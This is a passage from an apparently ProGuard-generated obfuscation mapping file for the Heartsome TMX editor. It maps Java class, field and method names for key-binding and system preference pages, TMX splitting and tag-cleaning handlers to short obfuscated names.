updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.jface.bindings.TriggerSequence,org.eclipse.jface.bindings.TriggerSequence,boolean) -> updateConflictsFor + void init(org.eclipse.jface.bindings.BindingManager,org.eclipse.ui.internal.keys.model.BindingModel) -> init + java.util.Map access$0(net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2) -> a + void access$1(net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2,org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> a +net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2$1 -> net.heartsome.cat.te.ui.preferencepage.key.d: + net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2 this$0 -> vm + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2 -> net.heartsome.cat.te.ui.preferencepage.key.e: + java.lang.String DELIMITER -> DELIMITER + java.lang.String ESCAPED_QUOTE -> vn + java.lang.String REPLACEMENT -> vo + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + org.eclipse.core.runtime.ListenerList eventManager -> vp + org.eclipse.jface.bindings.BindingManager fBindingManager -> vq + org.eclipse.ui.internal.keys.model.ContextModel contextModel -> vr + org.eclipse.ui.internal.keys.model.SchemeModel fSchemeModel -> vs + net.heartsome.cat.te.ui.preferencepage.key.BindingModel2 bindingModel -> vt + boolean notifying -> vu + net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2 conflictModel -> vv + org.eclipse.ui.services.IServiceLocator serviceLocator -> serviceLocator + org.eclipse.core.runtime.ListenerList getEventManager() -> di + void setNotifying(boolean) -> setNotifying + boolean isNotifying() -> isNotifying + void firePropertyChange(java.lang.Object,java.lang.String,java.lang.Object,java.lang.Object) -> firePropertyChange + void addPropertyChangeListener(org.eclipse.jface.util.IPropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(org.eclipse.jface.util.IPropertyChangeListener) -> removePropertyChangeListener + void init(org.eclipse.ui.services.IServiceLocator,java.util.List) -> a + void filterDupliteBind() -> dj + org.eclipse.jface.bindings.BindingManager loadModelBackend(org.eclipse.ui.services.IServiceLocator) -> a + org.eclipse.ui.internal.keys.model.ContextModel getContextModel() -> getContextModel + org.eclipse.ui.internal.keys.model.SchemeModel getSchemeModel() -> getSchemeModel + net.heartsome.cat.te.ui.preferencepage.key.BindingModel2 getBindingModel() -> dk + net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2 getConflictModel() -> dl + void addSetContextListener() -> dm + void addSetBindingListener() -> dn + void addSetConflictListener() -> do + void addSetKeySequenceListener() -> dp + void addSetModelObjectListener() -> dq + void addSetSchemeListener() -> dr + void changeScheme(org.eclipse.ui.internal.keys.model.SchemeElement,org.eclipse.ui.internal.keys.model.SchemeElement) -> changeScheme + void updateBindingContext(org.eclipse.ui.internal.keys.model.ContextElement) -> a + void updateTrigger(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.jface.bindings.keys.KeySequence,org.eclipse.jface.bindings.keys.KeySequence) -> updateTrigger + void saveBindings(org.eclipse.ui.keys.IBindingService) -> saveBindings + void logPreferenceStoreException(java.lang.Throwable) -> a + void filterContexts(boolean,boolean,boolean) -> filterContexts + void setDefaultBindings(org.eclipse.ui.keys.IBindingService,java.util.List) -> a + void exportCSV(org.eclipse.swt.widgets.Shell) -> exportCSV + org.eclipse.ui.internal.keys.model.BindingModel getBindingModel() -> getBindingModel + org.eclipse.ui.internal.keys.model.ConflictModel getConflictModel() -> getConflictModel + org.eclipse.ui.internal.keys.model.ContextModel access$2(net.heartsome.cat.te.ui.preferencepage.key.KeyController2) -> a + void access$3(net.heartsome.cat.te.ui.preferencepage.key.KeyController2,org.eclipse.ui.internal.keys.model.ContextElement) -> a + net.heartsome.cat.te.ui.preferencepage.key.BindingModel2 access$4(net.heartsome.cat.te.ui.preferencepage.key.KeyController2) -> b + net.heartsome.cat.te.ui.preferencepage.key.ConflictModel2 access$5(net.heartsome.cat.te.ui.preferencepage.key.KeyController2) -> c + org.eclipse.ui.internal.keys.model.SchemeModel access$6(net.heartsome.cat.te.ui.preferencepage.key.KeyController2) -> d +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$1 -> net.heartsome.cat.te.ui.preferencepage.key.f: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$2 -> net.heartsome.cat.te.ui.preferencepage.key.g: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$3 -> net.heartsome.cat.te.ui.preferencepage.key.h: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$4 -> net.heartsome.cat.te.ui.preferencepage.key.i: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$5 -> net.heartsome.cat.te.ui.preferencepage.key.j: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$6 -> net.heartsome.cat.te.ui.preferencepage.key.k: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeyController2$7 -> net.heartsome.cat.te.ui.preferencepage.key.l: + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 this$0 -> vw + java.lang.String val$filePath -> vx + void run() -> run +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage -> net.heartsome.cat.te.ui.preferencepage.key.m: + boolean DEBUG -> DEBUG + java.lang.String TRACING_COMPONENT -> vy + java.lang.String TAG_DIALOG_SECTION -> TAG_DIALOG_SECTION + java.lang.String TAG_FILTER_ACTION_SETS -> vz + java.lang.String TAG_FILTER_INTERNAL -> vA + java.lang.String TAG_FILTER_UNCAT -> vB + boolean fFilterActionSetContexts -> vC + boolean fFilterInternalContexts -> vD + net.heartsome.cat.te.ui.preferencepage.key.CategoryPatternFilter fPatternFilter -> vE + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$CategoryFilterTree fFilteredTree -> vF + org.eclipse.core.commands.Category fDefaultCategory -> vG + int ITEMS_TO_SHOW -> vH + int COMMAND_NAME_COLUMN -> vI + int KEY_SEQUENCE_COLUMN -> vJ + int CATEGORY_COLUMN -> vK + int NUM_OF_COLUMNS -> cI + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 keyController -> vL + org.eclipse.ui.commands.ICommandImageService commandImageService -> vM + org.eclipse.ui.commands.ICommandService commandService -> vN + org.eclipse.ui.keys.IBindingService fBindingService -> vO + org.eclipse.jface.bindings.keys.KeySequenceText fKeySequenceText -> vP + org.eclipse.jface.viewers.TreeViewer viewer -> cY + java.util.List lstRemove -> lstRemove + org.eclipse.ui.internal.keys.model.BindingModel model -> vQ + java.util.List lstConflict -> vR + org.eclipse.swt.widgets.Text fBindingText -> vS + void changeBackground() -> ds + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void fill() -> fill + void createTree(org.eclipse.swt.widgets.Composite) -> s + boolean validateConflict() -> dt + void applyData(java.lang.Object) -> applyData + boolean performOk() -> performOk + void saveState(org.eclipse.jface.dialogs.IDialogSettings) -> saveState + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + void performDefaults() -> performDefaults + int access$0() -> du + void access$1(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> a + java.util.List access$2(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> b + org.eclipse.ui.commands.ICommandImageService access$3(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> c + org.eclipse.ui.keys.IBindingService access$4(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> d + void access$5(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage,org.eclipse.jface.bindings.keys.KeySequenceText) -> a + org.eclipse.jface.bindings.keys.KeySequenceText access$6(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> e + org.eclipse.ui.internal.keys.model.BindingModel access$7(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> f + org.eclipse.jface.viewers.TreeViewer access$8(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> g + net.heartsome.cat.te.ui.preferencepage.key.KeyController2 access$9(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage) -> h +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$1 -> net.heartsome.cat.te.ui.preferencepage.key.n: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$2 -> net.heartsome.cat.te.ui.preferencepage.key.o: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$3 -> net.heartsome.cat.te.ui.preferencepage.key.p: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$4 -> net.heartsome.cat.te.ui.preferencepage.key.q: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void run() -> run +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$BindingElementLabelProvider -> net.heartsome.cat.te.ui.preferencepage.key.r: + org.eclipse.jface.resource.LocalResourceManager localResourceManager -> vU + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void dispose() -> dispose + java.lang.String getText(java.lang.Object) -> getText + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$BindingModelComparator -> net.heartsome.cat.te.ui.preferencepage.key.s: + java.util.LinkedList sortColumns -> cV + boolean ascending -> ascending + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + int getSortColumn() -> getSortColumn + void setSortColumn(int) -> setSortColumn + boolean isAscending() -> isAscending + void setAscending(boolean) -> setAscending + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare + int compareColumn(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object,int) -> a + int sortUser(java.lang.Object,java.lang.Object) -> a +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$CategoryFilterTree -> net.heartsome.cat.te.ui.preferencepage.key.t: + net.heartsome.cat.te.ui.preferencepage.key.CategoryPatternFilter filter -> vV + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void filterCategories(boolean) -> filterCategories + boolean isFilteringCategories() -> isFilteringCategories +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$ModelContentProvider -> net.heartsome.cat.te.ui.preferencepage.key.u: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$ResortColumn -> net.heartsome.cat.te.ui.preferencepage.key.v: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$BindingModelComparator comparator -> vW + org.eclipse.swt.widgets.TreeColumn treeColumn -> cX + org.eclipse.jface.viewers.TreeViewer viewer -> cY + int column -> column + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport -> net.heartsome.cat.te.ui.preferencepage.key.w: + int column -> column + org.eclipse.jface.viewers.TreeViewer columnViewer -> vX + org.eclipse.jface.viewers.CellEditor editor -> vY + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage this$0 -> vT + boolean canEdit(java.lang.Object) -> canEdit + org.eclipse.jface.viewers.CellEditor getCellEditor(java.lang.Object) -> getCellEditor + java.lang.Object getValue(java.lang.Object) -> getValue + void setValue(java.lang.Object,java.lang.Object) -> setValue + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage access$0(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport) -> a +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1 -> net.heartsome.cat.te.ui.preferencepage.key.x: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport this$1 -> vZ + org.eclipse.swt.widgets.Control createControl(org.eclipse.swt.widgets.Composite) -> createControl + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1) -> a + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport access$1(net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1) -> b +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1$1 -> net.heartsome.cat.te.ui.preferencepage.key.y: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1 this$2 -> wa + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1$2 -> net.heartsome.cat.te.ui.preferencepage.key.z: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1 this$2 -> wa + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1$3 -> net.heartsome.cat.te.ui.preferencepage.key.aa: + net.heartsome.cat.te.ui.preferencepage.key.KeysPreferencePage$TableViewerEditingSupport$1 this$2 -> wa + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferenceInitializer -> net.heartsome.cat.te.ui.preferencepage.system.a: + org.slf4j.Logger LOGGER -> LOGGER + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage -> net.heartsome.cat.te.ui.preferencepage.system.b: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> wb + org.eclipse.swt.widgets.Button btnCheckUpdateWithStartup -> wc + org.eclipse.swt.widgets.Button btnCheckUpdateWithMonthly -> wd + org.eclipse.swt.widgets.Button btnCheckUpdateWithWeekly -> we + org.eclipse.swt.widgets.Button btnCheckUpdateWithNever -> wf + org.eclipse.swt.widgets.Spinner selectDateSpi -> wg + org.eclipse.swt.widgets.Combo cmbSelectWeek -> wh + org.eclipse.swt.widgets.Button btnLanguageWithEN -> wi + org.eclipse.swt.widgets.Button btnLanguageWithZHCN -> wj + org.eclipse.swt.widgets.Text txtSystemUser -> wk + net.heartsome.cat.common.ui.HSFontSettingComposite editorFontSetting -> wl + boolean isInit -> wm + org.eclipse.swt.widgets.Composite cmpMonthly -> wn + org.eclipse.swt.widgets.Composite cmpWeekly -> wo + java.lang.String[] arrWeek -> wp + int initLang -> wq + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void performDefaults() -> performDefaults + void changeLocale(java.lang.String) -> ar + boolean performOk() -> performOk + void setInitValues(boolean) -> n + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> d + org.eclipse.swt.widgets.Spinner access$4(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> e + org.eclipse.swt.widgets.Combo access$5(net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage) -> f +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage$1 -> net.heartsome.cat.te.ui.preferencepage.system.c: + net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage this$0 -> wr + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage$2 -> net.heartsome.cat.te.ui.preferencepage.system.d: + net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage this$0 -> wr + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage$3 -> net.heartsome.cat.te.ui.preferencepage.system.e: + net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage this$0 -> wr + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage$4 -> net.heartsome.cat.te.ui.preferencepage.system.f: + net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage this$0 -> wr + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage$5 -> net.heartsome.cat.te.ui.preferencepage.system.g: + net.heartsome.cat.te.ui.preferencepage.system.SystemPreferencePage this$0 -> wr + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.ui.preferencepage.util.PreferenceUtil -> net.heartsome.cat.te.ui.preferencepage.util.a: + java.util.ArrayList getProjectFieldList() -> dv + java.util.LinkedHashMap getProjectAttributeMap() -> dw + void openPreferenceDialog(org.eclipse.ui.IWorkbenchWindow,java.lang.String) -> a + void checkCleanValue() -> X + boolean checkEdition() -> dx +net.heartsome.cat.te.ui.preferencepage.util.PreferenceUtil$1 -> net.heartsome.cat.te.ui.preferencepage.util.b: + java.text.Collator val$collatorChinese -> ws + int compare(java.util.Map$Entry,java.util.Map$Entry) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.ui.preferencepage.util.PreferenceUtil$2 -> net.heartsome.cat.te.ui.preferencepage.util.c: + java.lang.String val$defaultId -> wt + java.lang.Object[] val$defaultNode -> wu + java.util.List val$imageList -> wv + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.cat.te.ui.propertytester.DataAccessTester -> net.heartsome.cat.te.ui.propertytester.a: + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.te.ui.propertytester.SelectFileDataTester -> net.heartsome.cat.te.ui.propertytester.b: + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.te.ui.resource.Messages -> net.heartsome.cat.te.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.te.ui.splitTmx.SplitTmx -> net.heartsome.cat.te.ui.splitTmx.a: + java.lang.String splitFileLC -> ww + java.lang.String tgtFolderLC -> wx + int fileSum -> wy + int tuUnitSum -> jj + java.io.BufferedOutputStream buffer -> je + java.io.OutputStream output -> output + java.lang.String subFileLC -> wz + int subFileIndex -> wA + java.lang.String headerFrag -> wB + int workInterval -> jF + boolean always -> wC + int retunCode -> wD + org.slf4j.Logger LOGG -> tZ + void beginSplit(org.eclipse.core.runtime.IProgressMonitor) -> f + void createNewTempFile(org.eclipse.core.runtime.IProgressMonitor) -> g + void checkRepeate(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + void endTempFile() -> dy + void writeSegment(java.lang.String) -> D + void monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> a + java.lang.String access$0(net.heartsome.cat.te.ui.splitTmx.SplitTmx) -> a + void access$1(net.heartsome.cat.te.ui.splitTmx.SplitTmx,int) -> a + void access$2(net.heartsome.cat.te.ui.splitTmx.SplitTmx,boolean) -> a +net.heartsome.cat.te.ui.splitTmx.SplitTmx$1 -> net.heartsome.cat.te.ui.splitTmx.b: + net.heartsome.cat.te.ui.splitTmx.SplitTmx this$0 -> wE + void run() -> run +net.heartsome.cat.te.ui.splitTmx.SplitTmx$2 -> net.heartsome.cat.te.ui.splitTmx.c: + net.heartsome.cat.te.ui.splitTmx.SplitTmx this$0 -> wE + java.io.FileNotFoundException val$e -> wF + void run() -> run +net.heartsome.cat.te.ui.splitTmx.SplitTmx$3 -> net.heartsome.cat.te.ui.splitTmx.d: + net.heartsome.cat.te.ui.splitTmx.SplitTmx this$0 -> wE + java.lang.Exception val$e -> or + void run() -> run +net.heartsome.cat.te.ui.splitTmx.SplitTmx$4 -> net.heartsome.cat.te.ui.splitTmx.e: + net.heartsome.cat.te.ui.splitTmx.SplitTmx this$0 -> wE + java.lang.String val$fileLC -> ub + void run() -> run +net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog -> net.heartsome.cat.te.ui.splitTmx.f: + org.eclipse.swt.widgets.Spinner fileSumSpinner -> wG + org.eclipse.swt.widgets.Button originalLcBtn -> wH + org.eclipse.swt.widgets.Text splitFileLCText -> wI + org.eclipse.swt.widgets.Text tgtFolderLCTxt -> wJ + org.eclipse.swt.widgets.Button saveAsBtn -> ta + org.eclipse.swt.widgets.Button browerBtn -> wK + java.lang.String splitFileLC -> ww + java.lang.String tgtFolderLC -> wx + int fileSum -> wy + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void init() -> init + org.eclipse.jface.dialogs.IDialogSettings getDialogSetting() -> dz + void check() -> check + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> a + void access$1(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> b + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> e + org.eclipse.jface.dialogs.IDialogSettings access$5(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> f + void access$6(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog,java.lang.String) -> a + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> g + java.lang.String access$8(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> h + void access$9(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog,java.lang.String) -> b + org.eclipse.swt.widgets.Spinner access$10(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog) -> i + void access$11(net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog,int) -> a +net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog$1 -> net.heartsome.cat.te.ui.splitTmx.g: + net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog this$0 -> wL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog$2 -> net.heartsome.cat.te.ui.splitTmx.h: + net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog this$0 -> wL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog$3 -> net.heartsome.cat.te.ui.splitTmx.i: + net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog this$0 -> wL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog$4 -> net.heartsome.cat.te.ui.splitTmx.j: + net.heartsome.cat.te.ui.splitTmx.SplitTmxDialog this$0 -> wL + void run() -> run +net.heartsome.cat.te.ui.splitTmx.SplitTmxHandler -> net.heartsome.cat.te.ui.splitTmx.k: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.CleanSelectedLinesTagsHandler -> net.heartsome.cat.te.ui.task.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.CleanSelectedLinesTagsHandler$1 -> net.heartsome.cat.te.ui.task.handler.b: + net.heartsome.cat.te.ui.task.handler.CleanSelectedLinesTagsHandler this$0 -> wM + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess val$access -> wN + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.task.handler.CleanSelectedLinesTagsHandler$1$1 -> net.heartsome.cat.te.ui.task.handler.c: + net.heartsome.cat.te.ui.task.handler.CleanSelectedLinesTagsHandler$1 this$1 -> wP + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run() -> run +net.heartsome.cat.te.ui.task.handler.CleanTagsHandler -> net.heartsome.cat.te.ui.task.handler.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.CleanTagsHandler$1 -> net.heartsome.cat.te.ui.task.handler.e: + net.heartsome.cat.te.ui.task.handler.CleanTagsHandler this$0 -> wQ + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess val$access -> wN + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.task.handler.CleanTagsHandler$1$1 -> net.heartsome.cat.te.ui.task.handler.f: + net.heartsome.cat.te.ui.task.handler.CleanTagsHandler$1 this$1 -> wR + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run() -> run +net.heartsome.cat.te.ui.task.handler.DeleteBatchJobsHandler -> net.heartsome.cat.te.ui.task.handler.g: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.DeleteBatchJobsHandler$1 -> net.heartsome.cat.te.ui.task.handler.h: + net.heartsome.cat.te.ui.task.handler.DeleteBatchJobsHandler this$0 -> wS + net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean val$jobs -> wT + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.task.handler.DeleteBatchJobsHandler$1$1 -> net.heartsome.cat.te.ui.task.handler.i: + net.heartsome.cat.te.ui.task.handler.DeleteBatchJobsHandler$1 this$1 -> wU + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + void run() -> run +net.heartsome.cat.te.ui.task.handler.DeleteLangHandler -> net.heartsome.cat.te.ui.task.handler.j: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.DeleteLangHandler$1 -> net.heartsome.cat.te.ui.task.handler.k: + net.heartsome.cat.te.ui.task.handler.DeleteLangHandler this$0 -> wV + net.heartsome.cat.te.tmxeditor.editor.TmxEditor val$editor -> wO + java.util.List val$deleteLangCode -> wW + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.task.handler.DeleteLangHandler$1$1 -> net.heartsome.cat.te.ui.task.handler.l: + net.heartsome.cat.te.ui.task.handler.DeleteLangHandler$1 this$1 -> wX + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess val$access -> wN + org.eclipse.core.runtime.IProgressMonitor 